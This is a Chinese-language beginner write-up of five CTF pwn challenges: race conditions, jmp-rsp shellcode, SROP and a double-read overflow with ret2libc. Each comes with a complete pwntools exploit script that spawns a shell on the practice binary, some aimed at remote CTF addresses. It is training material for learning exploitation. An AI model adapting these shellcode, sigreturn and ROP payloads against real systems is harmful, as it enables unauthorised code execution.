1、前言
在我前一段时间练习的时候遇到几个比较有意思的pwn题,虽然说不难,却十分的考验基础,所以这里来跟大家分享一下,让新人们能够对pwn的学习不是那枯燥。
2、题目
条件竞争
条件竞争的题目其实在pwn中并不多见,但是你做题目的时候肯定是会遇到的,那当你没做过这种题目的时候,肯定还在想,我该用什么攻击方法打呢,好像都不行,其实条件竞争是代码层面出现的问题,当你读懂这个代码的时候才能够明白这个题目要干什么。这里为大家准备了一个例题:
首先看主函数,是什么意思
这里是一个while的循环,第一个,给你输出一个提示信息:input your choice,输入您的选择,然后下面scanf函数从用户读入一个选择,下面是检查输入不为1就退出,所以我们就只能输入1才能让他们接着往下面走,然后输出 please you open file,请打开文件,下面用read函数读入到buf中,赋值给len,然后又是一个检查,len-1要为10,所以我们要输入11个,但是这里我经过调试发现,只要到了这里无论怎么输入都可以完成这个函数,然后调用file_read函数,那么我们再来看看这个函数里面是什么样子:
代码说,他要检查我们输入到buf中的内容有没有flag,有就输出错误,没有就利用open读取buf中输入的内容,像前面也提示我们输入文件到buf中,我们要的文件就是flag,这里我们又该怎么绕过呢,这里不就是互相冲突了吗?所以接下来有了一个重要的函数,sleep(),我们都知道这个函数是什么意思,延迟嘛,题目中就是延迟5秒,然后打开buf,读入文件中的内容,然后输出出来。
所以我们要绕过他,就是利用这等待的5秒去多次进行循环,绕过检查增加falg的名称写道buf中。
所以我们写exp就是让他短时间内多执行几次就可以。
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
#io = remote('2.1.5.2',8888)
io=process("./race2")
io.sendline(b"1")
io.sendline("aaaaaaaaaaaa")
io.sendline(b"1")
io.sendline("aaaaaaaaaaaa")
io.sendline(b"flag")
io.sendline(b"flag")
io.interactive()
这个是一个入门级的条件竞争,但还是要懂其中原理。
game
直接来看漏洞函数吧,因为条件竞争是要理解代码的题目
可以看到,先输出一个Let's play a game!,然后有一个alarm函数,停留了5秒,也是跟上面一题一样,这个时候经过上面一题以后,这里差不多就可以懂意思了。然后是一个循环,输出pls input you num:,然后scanf函数读入一个整数,检查这个函数不能够小于0,不能大于10,否则就退出。把v0追加到v1,检查v1大于999的话就可以拿到shell了。
from pwn import *
p = remote('101.200.139.65',37169)
payload = b'9'
c = 0
while c < 100:
p.sendline(payload)
c += 1
p.interactive()
题目alarm函数,5秒的停留就让我们有了时间去追加多个数据,当然了,手打肯定是不行的了,直接写代码,循环发送,加起来就肯定就是大于999,满足条件,拿到权限了
jmp shellcode
这个题目,进来一看,发现啥都没有。
只有一个开始函数,怎么办呢,这个时候我们就需要靠我们的汇编能力了,这就是为什么只有基础牢固以后做题能够更加顺利。我们先来查看保护,发现啥都没开。
那么我们肯定就想着是去打shellcode了,但是我们正常做不是要溢出然后shellcode嘛,但是怎么算溢出呢,这个时候我们就会发现,这个返回地址是我们输入什么,返回地址就是什么。在这里有一点,就是程序在调用call以后的返回值是保存在rax中的,所以我们可以通过read读入的数据来控制rax的值,实现任意函数的系统调用。
所以下面有个指令是jmp rsp,这个指令就是跳转的意思,那么我们就可以利用这个指令写入到返回地址去跳转到shellcode写入的地址当中去运行了。然后我们就可以成功的拿下了。
exp:
from pwn import *
#p = remote('2.1.5.2',8888)
p = process('./simple')
shellcode = asm(shellcraft.sh())
jmp =0x000000000040008e
payload = p64(jmp)+shellcode
p.sendline(payload)
p.interactive()
是不是特别简单,但是,这里有一个题目跟他类似,但是又不一样了,会难很多,只不过这两个很像,所以拿出来讲防止分不清。
SROP
SROP也是一种攻击方法,它的原理就是去伪造一个Signal Frame,在栈上同时触发sigreturn系统调用,然后让内核为我们恢复一个Signal Frame所描述的过程,这里如果是新手的话可以不用太过了解,这里只是为了区分两个题目,和上面那个题目很相似,但是很不同。
我们直接看反汇编
可以看到,也是只有一个函数,是不是非常的相似,保护也只是开启了nx保护。
但是这一题却是对于新手来说挺难的。首先,我们要分清它这个程序干了什么,如果你看汇编看不出来的话,可以使用gdb调试查看,发现也就是一个系统调用read读取输入,大小是0x400。这里跟上面一题一样,可以实现任意函数调用,通过输入来控制。
这里我直接把exp拿出来,具体想要了解SROP的话可以到了解一下,因为我这里讲的都是基础的,如果讲了大部分新人可能也不会懂的。如果有需要可以自行学习。这里只是为了和上面有区别。
from pwn import *
p = process('./smallest')
elf = ELF('./smallest')
context(os='linux',arch='amd64',log_level='debug')
syscall_ret = 0x004000BE
start_addr = 0x004000B0
payload = p64(start_addr)*3
p.send(payload)
p.send('\xb3')
stack = u64(p.recv()[8:16])
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack
sigframe.rdx = 0x400
sigframe.rsp = stack
sigframe.rip = syscall_ret
payload = p64(start_addr)+'a'*0x8+str(sigframe)
p.send(payload)
sigreturn = p64(syscall_ret)+'b'*7
p.send(sigreturn)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack+0x300
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret
payload = p64(start_addr)+'b'*8+str(sigframe)
payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)
p.send(sigreturn)
p.interactive()
二次读入溢出
先看保护
再看主函数
这里是一个do,while循环,利用scanf读入一个,然后进行if检查,如果是为0就读入到buf中,如果是为1就检查长度,然后也读入到buf中,最后,如果为2就是退出,这里我们已经可以看出来是怎么溢出的了,经典的二次读入导致溢出,但是这一题有个特殊点,所以才拿出来讲的,如果我们直接那样打肯定是不行的,因为我们栈溢出都是依赖于一个指令,leave,ret。所以我们在打的时候要触发这个指令才能够进行调用函数。
我们可以看到这个指令在循环之后,所以我们直接溢出去打是肯定不能够成功调用的,这个时候我们就可以利用到前面的读入为2 就退出的那个地方,只要退出了循环可以触发到这个指令,然后我们就可以利用泄露的地址进行ret2libc了。
from pwn import *
from LibcSearcher import *
elf = ELF('./addcontent')
context(os="linux",arch="amd64",log_level="debug")
p = process('./addcontent')
#p = remote('2.1.5.1',8888)
rdi = 0x0000000000400853
ret = 0x000000000040059e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_add = 0x400748
payload1 = b'a'*(0x60)
p.sendline(b'0')
p.sendline(payload1)
p.sendline(b'1')
payload2 = b'a'*(0x18)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add)
p.sendline(payload2)
p.sendline(b'2')
p.recvline()
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
p.sendline(b'0')
p.sendline(payload1)
p.sendline(b'1')
payload3 = b'a'*(0x18)+p64(ret)+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload3)
p.sendline(b'2')
p.interactive()
可以看到,这一题的质量还是比较高的,如果一个退出调用的点出现的很巧妙,二次溢出的字节也是很精巧的,然后就是正常libc的方法。
最后,为什么拿出来讲这几题呢,就是个人觉得是比较有意思的,不是那种模板题,真正的让我们动了思想的。如果有错误希望大佬能够指出,感谢,这里也是为了帮助新人稳固基础的。